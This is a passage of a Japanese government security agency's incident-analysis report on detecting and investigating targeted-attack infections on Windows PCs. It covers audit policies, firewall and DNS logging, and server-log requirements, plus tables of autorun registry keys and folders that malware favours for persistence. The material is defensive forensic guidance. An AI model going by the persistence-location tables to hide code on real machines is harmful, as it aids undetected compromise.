「プログラムの開始」「電子メール送信」 「メッセージの表示」を 実行できる。以下の箇所で設定できる。 「管理ツール」-「タスクスケジューラ」-「タスクスケジューラライブラリ」-タス クの作成 今回の感染 PC では、Windows OS 標準のセキュリティ対策アプリケーションである Windows Defender が有効化11されていた。Windows Defender のログはアプリケーショ ン「Windows Defender」のイベント(イベントビューアー/アプリケーションとサービス ログ/Microsoft-Windows-Windows Defender)として出力される。図 4.1-3 では、トリガ ーとして「Windows Defender が動作した際に出力される Operational と WHC のイベン ト発生時」を指定し、操作を図 4.1-4 で「メッセージの表示」を設定している。この例で は、これらのイベントが発生すると、デスクトップ上に「Windows Defender イベントが 発生しました」というポップアップが表示される。このタスクスケジューラについてもエ クスポート可能なので、別 PC と共通設定は可能だ。 図 4.1-3 タスクスケジューラトリガーの設定例 ウイルス対策ソフトと Windows Defender の共存は、Windows OS バージョンとウイ ルス対策ソフトのバージョンの組み合わせによってはサポート対象外となったり、自動的 に無効化される等、無効化を推奨しているメーカーもある。 11 41 図 4.1-4 タスクスケジューラ操作の設定例 なお、この「タスクスケジューラ」の「操作」設定については、Windows8 以降は、こ の「電子メールの送信」と「メッセージの表示」が非推奨となっている。代替手段として は、 「操作」を「プログラムの開始」とし、OS 標準のメッセージ送信コマンドである 「msg.exe」を使えば同様の「デスクトップ画面にメッセージを表示させる」事が可能 だ。 攻撃検知につながる監査ポリシーの追加 イベントログはデフォルトでは取得できないものも、追加設定を行うことで取得可能で ある。3章であげた「初期感染の永続化」や「横移動の挙動」に関連する可能性のあるイ ベント ID として代表的なものを表 4.1-2 に示す。以下の箇所で設定する。 「管理ツール」-「ローカルセキュリティポリシー」-「セキュリティの設定」-「監 査ポリシーの詳細な構成」-「システム監査ポリシー」-ポリシーを編集 42 表 4.1-2 監査ポリシー設定例 イベント ID 4688 内容 監査ポリシー設定箇所 プロセスの作成イベント。プログラムの 詳細追跡 実行記録が取得できる。しかし、大量に -プロセス作成の監査 出力される。 4697 システムの拡張イベント。サービスイン システム ストールを出力。永続化を検知できる可 -セキュリティシステムの拡張 能性あり。 5140 ファイル共有イベント。ファイル共有経 オブジェクトアクセス 由でのアクセスを出力。横移動時の管理 -ファイル共有の監査 共有へのアクセスを検知できる可能性あ り。 例として、 「イベント ID 4688」を追加取得するために、「詳細追跡」で「プロセス作成 の監査」の設定を図 4.1-5 に示す。この「プロセス作成の監査」は、プロセスの起動、つ まりプログラムの実行を記録する事ができる。しかし、当然ながら正規のプログラムの起 動も取得することになるため、出力が大量となることには注意が必要だ。しかしながら、 調査時において「プログラムの起動がいつから始まり、いつ実行されているか」を特定す るのは困難であることが常であるため、このプロセスの実行ログが残されていると、大変 有用である。 図 4.1-5 監査ポリシーの追加例 43 イベントログはログファイル単位で最大ファイルサイズやアーカイブ設定が可能であ る。例えば表 4.1-2 のセキュリティログはデフォルトで「20Mbytes」である(図 4.1-6) 。必要に応じてサイズ変更やアーカイブ後のバックアップの取得を設定することを 推奨する。 図 4.1-6 ログプロパティ例 SID とアカウントの紐付け イベントログへの出力には、その要素のひとつであるユーザー名が出力されずに、OS 内での管理番号である SID12で出力されているケースがある。SID は数値の羅列で表現さ れることとユーザーだけでなくグループ等のオブジェクトにも付与されているため、ぱっ と見では判別しにくい。自身が普段利用しているユーザーアカウントの SID は確認してお くことをお奨めする。下記コマンドで確認できる。 C:¥Windows¥system32>whoami /user USER INFORMATION ユーザー名 SID ============ ============================================== PC-01¥user S-1-5-21-1430733546-1715160729-1453623360-8864 図 4.1-7 whoami 出力例 Security Identifier。セキュリティ識別子。ユーザーアカウントやグループ等のオブジ ェクトに付与される。 12 44 4.2. ログに関する考慮事項 標的型攻撃に対応するログ取得については、多くの参考になる資料13が発表されてい る。具体的なログ取得内容は、それらの情報を参考にしていただきたい。本項では、ログ 取得に関する考慮事項と題して、PC 自体での外部通信ログ取得方法の紹介と、調査に対 応できるログにはどのような要件が必要かをまとめた。後半では、PC 以外のサーバやゲ ートウェイのログについても言及している。 4.2.1. PC での外部通信ログの取得 本項では解説のため、ネットワーク構成および PC 実装を表 4.2-1 のように仮定する。 表 4.2-1 ネットワーク構成および PC 実装例(1) 構成 PC 内容 Windows7 以降。Windows Firewall が有効。PC は直接インターネットに 向けて DNS、HTTP 等の通信はできない。 DNS サーバ 内部ネットワークに構成。外部への DNS 問合せが可能。 プロキシサーバ 内部ネットワークに構成。外部への HTTP 通信が可能。 Firewall 内部ネットワークと外部ネットワークの境界。ポリシー制御を行う。 この構成で、PC から Web ブラウジングした際の PC、各サーバ、Firewall の動作を図 4.2-1 に示す。 図 4.2-1 PC で Web ブラウジングした際の動作 一般社団法人 JPCERT/CC 「高度サイバー攻撃への対処におけるログの活用と分析方 法 https://www.jpcert.or.jp/research/apt-loganalysis.html 内閣サイバーセキュリティセンター(NISC)「平成 23 年度政府機関における情報システ ムのログ取得・管理のあり方の検討に関わる調査報告書」 http://www.nisc.go.jp/inquiry/pdf/log_shutoku.pdf 13 45 一般的に攻撃痕跡を調査するためのログ取得箇所は、 「プロキシサーバ」 「Firewall」と いったサーバやゲートウェイでの取得を指摘することが多い。組織全体を見ることのでき るという点で、これらの箇所でのログ取得は大変重要であるが、PC 側でもある程度、近 しいログ取得が可能である。PC が利用するサーバと連動するクライアントソフトやクラ イアント側のゲートウェイでログを取得すれば、ほぼ同じ内容が取得できる。例えば、PC は Web ブラウザからの HTTP 要求に対しては、「DNS クライアント」と「Windows ファ イアウォール」が動作して初めてプロキシサーバへ HTTP 要求が届くような仕組みで動作 している。この DNS クライアントと、Windows ファイアウォールのログ取得を行うこと で、この PC の外部通信を記録することができる。PC 側で取得する利点は、サーバ側の 組織全体での取得に比べて、比較的容易に実装できる点や、感染嫌疑 PC が特定されてい る場合の調査に適しているなどがある。 下記 2 つの取得方法を紹介する。 DNS クライアント動作ログの取得(DNS キャッシュ) Windows ファイアウォールのログ取得 DNS クライアント動作ログの取得 WindowsOS では、DNS クライアントのログ取得機能はないが、DNS クライアントの 機能のひとつである、DNS キャッシュを取得することで、DNS クライアントの問合せ記 録とすることができる。コマンドと実行例を図 4.2-2 に示す。 >ipconfig /displaydns Windows IP 構成 bak.****mails.com ---------------------------------------レコード名 . . . . . : bak.****mails.com レコードの種類 . . . : 1 Time To Live . . . .: 2937 データの長さ . . . . : 4 セクション . . . . . . . : 回答 A (ホスト) レコード. . . : 192.168.250.3 図 4.2-2 DNS キャッシュの表示例 DNS キャッシュの保持時間は、デフォルトでは 86400 秒(1 日)であり、再起動時に その内容は初期化される。C2 サーバとの通信は、すべてのマルウェアで 1 日以内に必ず 46 発生するわけではないが、通信していた場合は、この DNS キャッシュにその通信が記録 される可能性がある。例えば、このキャッシュ表示をファイルに出力するバッチファイル を、PC がシャットダウンする際に自動実行される「シャットダウンスクリプト」に定義 しておけば、その問合せ記録は保存できる。この「シャットダウンスクリプト」の設定は 以下箇所で設定できる。 「コマンドプロンプトを管理者として実行」-「gpedit.msc」-ローカルグループポ リシーエディターを起動(図 4.2-3) C:¥Windows¥system32>gpedit.msc 図 4.2-3 コマンドプロンプトでの実行例 ローカルグループポリシーエディターでの設定箇所を図 4.2-4 と図 4.2-5 に示す。 図 4.2-4 ローカルグループポリシーのスクリプト指定 図 4.2-5 シャットダウンスクリプトの追加 47 Windows ファイアウォールのログ取得 Windows ファイアウォールのログ取得は、Windows ファイアウォールのプロパティで 設定可能である。以下の箇所で設定する。 「管理ツール」-「セキュリティが強化された Windows ファイアウォール」-「ロー カルコンピューターのセキュリティが強化された Windows ファイアウォール」プ ロパティ 設定箇所を図 4.2-6 と図 4.2-7 に示す。 図 4.2-6 Windows ファイアウォールプロパティ 図 4.2-7 ログ設定箇所 48 Windows ファイアウォールの設定は、 「パブリック」「ドメイン」 「ホームネットワー ク」のそれぞれのプロファイル単位で設定が可能である。ネットワークプロファイルを考 慮して、必要なプロファイルを選択して設定する。図 4.2-7 のように、ログファイルの保 存先やサイズ制限を設定することができる。ログ取得例を図 4.2-8 に示す。 #Fields: date time action protocol src-ip dst-ip src-port dst-port size tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info path 2016-12-21 11:42:36 ALLOW UDP 192.168.1.10 8.8.8.8 60602 53 0 - - - - - - - SEND 2016-12-21 11:42:37 ALLOW UDP 192.168.1.10 8.8.8.8 56295 53 0 - - - - - - - SEND 2016-12-21 11:42:37 ALLOW UDP 192.168.1.10 192.168.10.2 56296 443 0 - - - - - - - SEND 2016-12-21 11:42:59 ALLOW UDP 127.0.0.1 127.0.0.1 56297 12345 0 - - - - - - - SEND 2016-12-21 11:43:21 ALLOW UDP 127.0.0.1 127.0.0.1 56298 12345 0 - - - - - - - SEND 2016-12-21 11:43:43 ALLOW UDP 127.0.0.1 127.0.0.1 56299 12345 0 - - - - - - - SEND 図 4.2-8 Windows ファイアウォールログの例 注意点は、ここでの記録はすべて IP アドレスで記録されるため、送信先の FQDN が記 録されないことである。 4.2.2. ログに関する要件 標的型攻撃が疑われる場合の調査は、攻撃者の痕跡が広範囲におよぶ可能性がある事 や、攻撃の範囲を把握する目的での調査となる事もあるため、特定のサーバだけでなく、 多くのサーバログを調査する事になる。本項では、このような調査に対応できるように、 各サーバのログに共通する要件を、以下の 2 つに分けて解説する。 ログ取得に関する要件 ログの取り扱いに関する要件 ログ取得に関する要件 ログ取得に関する要件を表 4.2-2 に示す。 49 表 4.2-2 ログ取得に関する要件 要件 理由 許可したログが記録できること 例えば外部通信を調査する場合、正規の通信として「許可したロ グ」が調査の対象となる。プロキシサーバや Firewall では「拒 否したログ」だけでは調査の意味が半減する。よって、これらの 「取得すべきログ」では許可したログを取得する必要がある。ま た、メールサーバをクラウドサービスで構築している等のケース では、サービス内容によっては、オンプレミス14とは異なるログ となる事もあるため、どのようなログが取得可能かを確認してお く必要がある。 十分な期間保持できること 1年以上15の保持が推奨される。 許可したログを取得すると、取得されるログ容量が飛躍的に増大 するため、ディスクの使用領域の圧迫に注意が必要になる。これ らは、パフォーマンスに影響する可能性もある。 時刻同期されていること ログ間で時刻がずれていると、突合せが困難になる場合がある。 組織内で NTP サーバの稼動が望ましい。 PC が特定できること ログ内にある PC を特定する必要がある。PC に付与される IP ア ドレスが DHCP の場合は、日付、時間でどの PC に IP をリース したかを DHCP サーバのログと突合し特定することができなけ ればならない。 それぞれのサーバのログ取得については、個々の導入時に設計されていると思われる が、標的型攻撃の調査という観点では、組織全体でのログ取得状況がより重要となる。 ログの取り扱いに関する要件 取得したログに対して「ログの取り扱いに関する要件」を表 4.2-3 に示す。 14 サーバを使用者が管理する設備内に構築すること。自社運用ともいう。 NISC 発行「平成 23 年度政府機関における情報システムのログ取得・管理のあり方の 検討に関わる調査報告書」より引用。URL http://www.nisc.go.jp/inquiry/pdf/log_shutoku.pdf 15 50 表 4.2-3 ログの取り扱いに関する要件 要件 理由 ログ確認手順が確立されている 調査を始めると「確認の仕方がわからない」 「ベンダーに依頼し こと ないと調べられない」というケースが散見される。ログは取れて いても、その確認手順が確立されていなければ、タイムリーな調 査ができない。 各ログのフォーマットを把握し ログはアプリケーションやメーカーによって異なる。出力される ていること 項目の把握が必要。特に突合せする場合には、共通の条件となる 日付の出力形式の把握が重要である。日付形式はアプリケーショ ンによって、特に異なる項目でもある。 様々な条件で検索できること 日時、送信先アドレス、送信元アドレス、等の条件で検索や抽出 ができることが必要。アプリケーションによって、ログ検索が可 能な管理ツールが付属しているケースもある。 CSV 等の形式で外部出力ができ ログ検索が可能な管理ツールがない場合やデータを加工して調査 ること したい場合は、ログを外部出力すれば、外部ツールで調査でき る。例えば、CSV 形式で出力できれば、EXCEL 等で加工するこ とができる。 外部出力したデータを扱えるこ 外部出力した場合、そのデータから抽出・検索をする必要があ と る。大きなデータ、抽出する手法、ツールはある程度慣れておく 必要がある。 これらの要件は、自組織内で調査する場合だけでなく、外部組織への委託をする場合で も同じ要件と考えてよい。先のログ取得の要件と合わせて、現在の自組織でのログ取得状 況がこれらの要件を満たしているか、自己点検していただきたい。 51 4.3. 感染嫌疑の調査例 本項では、感染嫌疑 PC の調査のひとつの例として、各サーバのログの調査の観点や調査 方法の概要などを解説する。 4.3.1. 調査すべきサーバログ 組織においてのログ取得は、前項の PC 側での取得より、多くの箇所での取得が必要に なる。本項での解説のためのネットワーク構成例を表 4.3-1 と図 4.3-1 に示す。 表 4.3-1 ネットワーク構成および PC 実装例(2) 構成 内容 PC Windows7 以降。ActiveDirectory に参加。 ActiveDirectory PC やサーバの認証基盤サーバ。ドメイン内のコンピュータアカウント、ユ ドメインコントローラ ーザーアカウント情報を集中管理している。 プロキシサーバ 内部ネットワークに構成。外部への HTTP 通信が可能。 Firewall 内部ネットワークと外部ネットワークの境界。ポリシー制御を行う。 メールサーバ 外部とのメール送受信を行う。 図 4.3-1 ネットワーク構成例(2) 各サーバの機能を、標的型攻撃においての「初期感染」や「攻撃痕跡」を調査する観点 で解説する。 52 Active Directory ドメインコントローラ Windows PC のユーザーアカウントを管理する認証基盤機能を持ち、様々なサーバと連 携してその認証を一元化する。ファイルサーバでの利用や Windows PC の管理が目的とさ れることが多い。攻撃者から見れば、このサーバの認証情報を入手すれば、内部ネットワ ークの PC へ自由にアクセスできることも可能となるため、狙われる可能性が非常に高 い。このような理由から、感染嫌疑がある場合は、Active Directory サーバのログを確認 すべきである。 プロキシサーバ 内部ネットワークからインターネット接続する際に利用されるサーバ。インターネット 接続を行う組織ではセキュリティ確保等の理由から利用されていることが多い。URL フィ ルタリングサーバとして構成されるケースもある。インターネット通信には「FQDN」も しくは「IP アドレス」どちらかを指定するリクエストが必要なので、そのリクエスト情報 自体を捕捉することが重要になる。特にプロキシサーバは PC から「リクエスト」を直接 受け取るという点から、大変重要な記録である。 Firewall 内部ネットワークとインターネットを直接つなぐ役割を持つ。内部からインターネット 通信を行った記録を確実に取得できるという点で重要である。また、昨今は IPS(不正侵 入防御)やアンチマルウェア機能を持つものもあり、ログはメーカーによって異なること もあって難解なログとなってしまう点があるが、これらの機能による検知情報も大切な情 報源となる。 メールサーバ 標的型攻撃の最初の攻撃は、メールによるものが圧倒的に多い。標的型攻撃メールはそ の組織に対して 1 アドレスに送られるケースもあるが、複数アドレスに送られるケースも ある。感染もしくは標的型攻撃メール受信の可能性がある場合、感染や攻撃の範囲を把握 するにはメールサーバの受信記録を確認することが有用である。また、送信元ホストや他 の宛先アドレスなど、攻撃者の意図や背景が推測できる可能性のある情報も含まれる事が あるため、メールサーバログは大変重要である。 53 4.3.2. 調査の目的と観点について 標的型攻撃を前提にした場合、感染嫌疑の調査も、調査を進めるにあたっては、ある程 度複合的な調査とならざるを得ない。また、嫌疑もなかなか明確にすることができないケ ースが多いため、しっかりと目的や観点を意識しながら進めることが重要である。図 4.3-2 にこれらの調査の目的と観点、個々の調査の関連を示す。 図 4.3-2 調査の目的と観点 ひとつの調査において複数の観点、ひとつの観点から複数の調査といったような進め方 が必要であることがお分かりいただけるだろうか。実際の調査時には、このようなイメー ジをもって調査計画を立ててほしい。個々の調査内容についてはケースバイケースである ため、画一的な方法は解説できないが、これらの概要について、表 4.3-2 に示す。 表 4.3-2 調査概要 調査 感染嫌疑 PC の変更調査 プロキシサーバの調査 概要 不審ファイルや不審な永続化の有無を調査する。 変更前情報があれば、その比較を行う。 不審ファイルの判断は、公開情報での調査も利用する。 外部通信を洗い出し、不審通信先への通信を調査する。 感染嫌疑の契機が判明していれば、その日付前後の通信を調査する。 不審通信先が判明していれば、その通信先への通信を調査する。 不審通信先の判断には、公開情報での調査も利用する。 感染と不審通信先が特定されていれば、感染範囲の特定を行う。 54 Firewall の調査 メールサーバログ プロキシサーバと同内容の調査を行う。 両者のログの整合性があることで、信憑性と情報の補完が行える。 感染や攻撃が判明している場合メールによる攻撃の可能性を調査する。 感染がメール契機と判明していた場合は、感染嫌疑範囲の特定を行う。 攻撃メールの受信ログは、送信元メールアドレスだけでなく、同時に送 信されたあて先メールアドレス、送信時に利用されたメールサーバやメ ール送信元のホスト情報を調査する。 Active Directory ドメイ ンコントローラの調査 初期感染後、横移動を行おうとした場合には、管理者権限でのログイン 試行等の認証ログやユーザー追加等イベントが残されることがある。通 常運用管理時とは違うイベント出力やリモート接続した記録が残されて いないかを確認する。 侵入されている可能性がある場合は、感染嫌疑 PC の変更調査と同内容 が必要である。 他 PC・サーバの調査 ActiveDirectory ドメインコントローラの調査と同内容の調査を行う。 公開情報調査 感染の特徴を調べたり、不審通信先の判断材料として、公開情報を利用 する。 感染嫌疑 PC の変更調査と公開情報調査については、次項で具体的な内容を紹介する。 4.3.3. 感染嫌疑 PC の変更調査 システム情報や設定情報のテキスト化 感染嫌疑 PC の変更調査は、意図しない変更がマルウェアの感染で引き起こされていな いか、不審ファイルが存在しないかの2点の調査が主となる。マルウェアが変更しやすい 箇所、隠そうとする場所などを調査する。具体的には、システム情報や各種設定値を OS コマンドで出力、フォルダ・ファイル一覧のテキスト出力を行い、不審点がないかを確認 するという手順で進める。 ここでは、システム情報や設定情報の取得例(表 4.3-3)と、マルウェアがよく利用す る「感染頻出フォルダ」 (表 4.3-5) 、永続化でよく利用される「要注意レジストリ」(表 4.3-4)を紹介する。取得コマンドの例も記載した。 55 表 4.3-3 システム情報取得例 内容 取得コマンド例 システム情報の収集 systeminfo 環境変数の取得 set スケジュールタスク schtasks /query /v sc query state= all IP アドレス情報 ipconfig /all ルーティング情報 route print トークン情報 whoami /all フォルダ・ファイル一覧 表 4.3-5 参照のこと ※C:¥全体を取得する場合は「dir /a /s C:¥ 」 プロセス情報 tasklist /v tasklist /svc tasklist /m wmic process GET ProcessId,Caption,ExecutablePath,CommandLine レジストリ情報 表 4.3-4 参照のこと 永続化の調査例 「意図しない永続化」は永続化の設定箇所を確認し、意図しない、つまり「インストー ルした覚えがない」ものを判別すればよいが、これもイベントログと同じく大量に存在す るため、そのひとつひとつを調査し判別するのは、非常に困難である。ここでは以下を提 示したい。 マルウェアがよく使う永続化設定箇所を確認する あくまで傾向ではあるが、マルウェアが永続化によく使う設定箇所が存在する。また、 マルウェアがよく配置されるフォルダもあるため、この二つを組み合わせて、「不審な」 永続化設定箇所を抽出することは可能である。 マルウェアがよく使う永続化設定箇所(要注意レジストリ)と、その設定値を取得する コマンドを紹介する。表 4.3-4 に列挙している。 56 表 4.3-4 要注意レジストリ 取得コマンド例とレジストリ reg query “レジストリ名” /s で取得する スタートアップ系レジストリ "HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run" /s "HKLM¥Software¥Microsoft¥Windows¥CurrentVersion¥RunOnce" /s "HKLM¥Software¥Microsoft¥Windows¥CurrentVersion¥RunOnceEx" /s "HKLM¥Software¥Microsoft¥Windows¥CurrentVersion¥policies¥Explorer¥Run" /s "HKLM¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Winlogon¥Userinit" /s "HKLM¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Winlogon¥Shell" /s "HKLM¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Winlogon¥Shell" /s "HKLM¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Windows" /v "Load" "HKLM¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Windows" /v "Run" "HKLM¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Windows¥Appinit_Dlls" /s "HKLM¥Software¥Microsoft¥Command Processor¥AutoRun" /s "HKLM¥Software¥Microsoft¥Windows¥CurrentVersion¥RunServices" /s "HKLM¥Software¥Microsoft¥Windows¥CurrentVersion¥RunServicesOnce" /s "HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥Run" /s "HKCU¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Windows" /v "Load" "HKCU¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Windows" /v "Run" "HKCU¥Software¥Microsoft¥Windows NT¥CurrentVersion¥Windows¥Run" /s "HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥RunOnce" /s "HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥Explorer¥AppKey¥18¥ShellExecute" /s "HKCU¥Software¥Microsoft¥Command Processor¥AutoRun" /s "HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥policies¥Explorer¥Run" /s "HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥RunServices" /s "HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥RunServicesOnce" /s "HKU¥.DEFAULT¥Software¥Microsoft¥Windows¥CurrentVersion¥Run" /s "HKCU¥Software¥Microsoft¥Windows¥CurrentVersion¥Explorer¥User Shell Folders" /v "Startup" "HKLM¥Software¥Microsoft¥Windows¥CurrentVersion¥Explorer¥User Shell Folders" /v "Common Startup" サービスレジストリ "HKLM¥SYSTEM¥currentControlSet¥services" 57 この他にも永続化箇所はあるが、マルウェアがよく使うという点では、スタートアップ 系のレジストリとサービスレジストリは必ず確認すべき箇所である。 次に、マルウェアがよく配置されるフォルダを紹介する。表 4.3-5 に列挙16した。3 章 で記載した本事例でも、これらのフォルダに多くの実行ファイルや痕跡が残されていた。 表 4.3-5 感染頻出フォルダ 環境変数等 実フォルダ例 %TEMP% C:¥Users¥ユーザー名¥AppData¥Local¥Temp %PROGRAMDATA% C:¥ProgramData %ALLUSERPROFILE% %PUBLIC% C:¥Users¥Public %APPDATA% C:¥Users¥ユーザー名¥AppData¥Roaming %LOCALAPPDATA% C:¥Users¥ユーザー名¥AppData¥Local %USERPROFILE%¥Appdata C:¥Users¥ユーザー名¥Appdata スタートアップフォルダ(ユーザー) C:¥Users¥ユーザー名 ¥AppData¥Roaming¥Microsoft¥Windows¥Start Menu¥Programs¥Startup C:¥ProgramData¥Microsoft¥Windows¥Start スタートアップフォルダ Menu¥Programs¥Startup では、レジストリのひとつを例にあげて、どのように確認を進めるかを紹介する。 HKEY_LOCAL_MACHINE¥SYSTEM¥currentControlSet¥services¥SSS Type REG_DWORD 0x110 Start REG_DWORD 0x2 ErrorControl ImagePath DisplayName ObjectName Description REG_DWORD REG_EXPAND_SZ REG_SZ REG_SZ REG_SZ 0x0 "C:¥ProgramData¥SSS¥Update.exe" SSS LocalSystem SSS 図 4.3-3 永続化されたレジストリキー例 16 この表では Windows7 を対象にしている。 58 図 4.3-3 は自動実行するサービスレジストリのひとつであるが、 「ImagePath」に指定 されているのが、実行されるファイルである。この実行ファイルが配置されているフォル ダが、表 4.3-5 でないかどうかをまず確認し、これらのフォルダに該当する場合は、ファ イルに不審点があるかどうかを調べてみる、という流れで進めると効率的である。ファイ ル名やファイルサイズ、バージョン情報、最終更新日、配置されているフォルダはデフォ ルトインストールで指定される箇所か等を順次確認していく。3 章の本事例で記したよう に、正規ファイルや正規プログラムを模したケースもあるため、公開情報でこれらの情報 と比較することも有効である。もちろん、マルウェアは必ずしもこれらのフォルダにのみ 配置されるわけではない点にはご注意いただきたい。 4.3.4. 公開情報の調査 公開情報の調査とは、インターネットで公開されている情報の調査である。具体的に は、Google 等の検索エンジンでキーワード検索し、ヒットするウイルス対策ソフトベンダ ーやリサーチャーのブログといったソースの調査、著名マルウェア解析サイトによる検 索、などである。2 章で取上げた攻撃インフラの利用状況は、このような作業を通じて情 報収集したものであり、当チームでの活動で行う様々な情報収集も、その多くを公開情報 から得ている。 表 4.3-6 に著名な脅威情報サイトを記載した。FQDN や IP アドレスに関する情報であ れば、これらのサイトで検索すると、検索時点より過去に何らかの脅威、マルウェア、攻 撃等に関連する情報が登録されていれば、紐付けられた結果が表示される。 表 4.3-6 参考サイト サイト名 Threat Crowd 概要 ドメイン名、IP アドレス、ファイルのハッシュ値等から、公開さ れている過去のマルウェア情報や関連情報が確認できる。 URL https://www.threatcrowd.org/ Passive Total ドメイン名、IP アドレス、ファイルのハッシュ値等から、公開さ れている過去のマルウェア情報や関連情報が確認できる。WHOIS 履歴の参照も可能。 URL https://www.passivetotal.org/ Virus Total ファイルやウェブサイトの検査を行うウェブサイト。ドメイン名、 IP アドレス、ファイルのハッシュ値等から検索することが可能。 URL https://www.virustotal.com/ 59 ただし、これらの公開情報の利用にはいくつか注意が必要である。例えば FQDN や IP アドレスについては、以下のような注意が必要だ。 必ずしも情報が保証されているわけではないこと。 FQDN や IP アドレスは時期によって変化すること。 仮想専用サーバ(VPS)17のようなクラウドサービスの場合は、正規サービスと区別 がつかない可能性があること。 しかしながら、これらのサイトで何らかの脅威情報と紐付けられていた場合は、注目に 値すべきだと思われる。 また、これらの公開情報では、ファイルの一意性を表現するソースとして、ハッシュ値 での記載がされていることが多い。表 4.3-7 に Windows 標準コマンドでの取得方法を記 載する。 表 4.3-7 ハッシュ値取得例 コマンド 実行例 certutil –hashfila ファイル certutil -hashfile c:¥windows¥notepad.exe デフォルトは SHA1 SHA1 ハッシュ (ファイル c:¥windows¥notepad.exe): 引数で MD5 を指定する事も可能 fc 64 b1 ef 19 e7 f3 56 42 b2 a2 ea 5f 5d 9f 42 46 86 62 43 17 Virtual Private Server。仮想環境上で専用サーバを提供するサービス。 60 4.4. 調査方法補足 4.4.1. ハードディスクの複製 感染嫌疑調査において、各種調査を行うことで、PC の状態が変更されてしまうことが ある。経過時間や調査による意図しない変更を避ける意味で、ディスクの保全を行う事を 考えなければならないケースもある。 「ディスク保全」とはハードディスクの複製を行う ことである。複製元の PC がクリーンな状態で保全したものは、感染嫌疑時の比較材料と して利用でき、PC がマルウェアに感染した時に保全したものは、感染した状態を保持す ることができる。いわゆる「コンピュータフォレンジックス18」技術のひとつであり、実 際の攻撃痕跡の調査にも利用されている。本項ではその一例を紹介するが、 「証拠保全」 の観点から、多くの考慮事項が必要である。これらの考慮事項については、デジタルフォ レンジック研究会19の「証拠保全ガイドライン」を一読されることをお奨めする。 ハードディスクの複製は、複製元のハードディスクと同容量以上のハードディスクを用 意し、複製元のハードディスクの中身(MBR、パーティションテーブル、OS、ファイル システム、アプリケーション、データ)をデバイス単位で全てコピーする。物理的な複製 機もあるが、ソフトウェアで実施することも可能だ。図 4.4-1 と表 4.4-1 にハードディス ク複製機器例を示す。ディスクを取り出してディスク複製機で複製する方法と、LiveCD20 で起動し、複製用ツール(著名なものは dd コマンド21)等で複製する方法を示している。 図 4.4-1 ハードディスク複製機器例 18 電子機器の記録を収集・分析し、法的な証拠性を明らかにする技術の総称。 特定非営利活動法人デジタルフォレンジック研究会。証拠保全ガイドラインは現在第 5 版が最新である。 20 ハードディスクにインストールすることなく直接 OS が起動できる CD。 21 Linux 系 OS に標準装備されており、コピーや変換、消去の機能があり、バックアップ にも利用される。 19 61 表 4.4-1 ハードディスク複製機器例 単語 ディスク複製機 想定される内容 物理的にハードディスクを接続して複製する専用機器。複数台同時複 製できる製品もある。 LiveCD 障害復旧や解析に特化した Linux ディストリビューションのブータブ ル CD がよく利用される。dd もしくは dd をベースにしたツールを利 用することが多い。この LiveCD でブートした後、複製ツールで複製 元ディスクを複製用ディスクへ複製する。 複製用ディスク 複製するためのディスク。可能であれば正・副 2 台を取得する。 複製後の調査に関しては、複製したディスクの内容を確認する際に意図しない変更がな されないようにしなければならないため、複製ディスクを接続する際に、リードオンリー でマウントする、または書き込み防止装置を使って接続する等の注意が必要になる。ま た、このように複製したディスクを、調査する側の OS からアクセスすると、基本的には ファイルにしかアクセスできないので、攻撃痕跡をより詳細に調査するには、別途フォレ ンジックツール等を使った解析作業が必要になる。 なお、攻撃の事実が発見された場合には、被害届等の法的手続きを考慮した対応が必要 となるため、フォレンジック専門業者等への相談を、まずは検討いただきたい。 本章では、攻撃検知や攻撃痕跡を調査するための準備を、PC 単体で対策できること、 サーバログに必要なことに分けて、対策例や要件を示して整理した。また、感染嫌疑の際 の調査の進め方の一例を、概要と実行コマンドを例にあげて解説した。 多岐に渡る記述となっているが、取り組み可能な箇所があれば、試してみてほしい。こ れらは対策の一例に過ぎないので、自組織の環境特性に合わせて調整し、独自の対策に仕 立ててほしい。 62 5. おわりに 今回のレポートでは、標的型攻撃を受けた状態とはどのようなものなのかを、多くの組 織に理解いただくために、情報提供組織のご協力を得て、その実態の解明と攻撃の分析、 および、こうした事態が発生した場合の検知や調査の例を、調査準備としてのログの重要 性や感染嫌疑時における調査の観点もあわせて解説した。 本レポートの特長である「実データの詳細な開示」は、それぞれの組織において攻撃対 策に具体的に繋がるものとして考えたためである。対策例や調査例は、一般的な国内組織 の環境を想定し、OS の標準機能で実施できるものを中心に、比較的取り組みやすいもの を選択して記載している。標的型サイバー攻撃を迎え撃たなければならない現在のシステ ムで、すぐに利用できる情報や対策の手法を紹介するのが、本レポートの目的のひとつで ある。 さて、このレポートの最後は J-CRAT からのお願いをさせていただきたい。今回の事例 と同じような形で長期感染したままの感染 PC は、いまだ多くの組織に残されている可能 性があると考えている。最近の当チームがかかわった事例で、Windows7 を Windows10 にアップグレードしたが、Windows7 時代に感染した状態がそのまま Windows10 でも引 き継がれていた例や、PC は新しくリプレースしたが、その新しい OS 上でゲストとして 稼動させている仮想 PC の WindowsOS で感染が継続していた例があった。すなわちアッ プグレードやリプレースをおこなっても、感染が消えるとは限らないことを示している。 このような事からも、過去の古い情報であってもかまわないので、標的型攻撃と思われる 不審メールを受け取り、実行してしまった経験があり、不安な事象を感じている場合に は、J-CRAT へ相談してほしい。なんらかの攻撃痕跡に関する情報が見つかれば、フィー ドバックさせていただくことは勿論だが、その発見は他組織でも有用な情報となる可能性 もある。結果として、日本国内の情報セキュリティ向上につながるため、ぜひ協力をお願 いしたい。 63 64 サイバーレスキュー隊(J-CRAT)分析レポート 2016 長期感染事例の実態 ~一台の感染 PC に残された攻撃痕跡の分析~ [発 行] 2017 年 1 月 27 日 [著作・制作] 独立行政法人情報処理推進機構 技術本部 セキュリティセンター [執 筆 者] 釜谷誠 伊東宏明 青木眞夫 金野千里 65
© Copyright 2024 ExpyDoc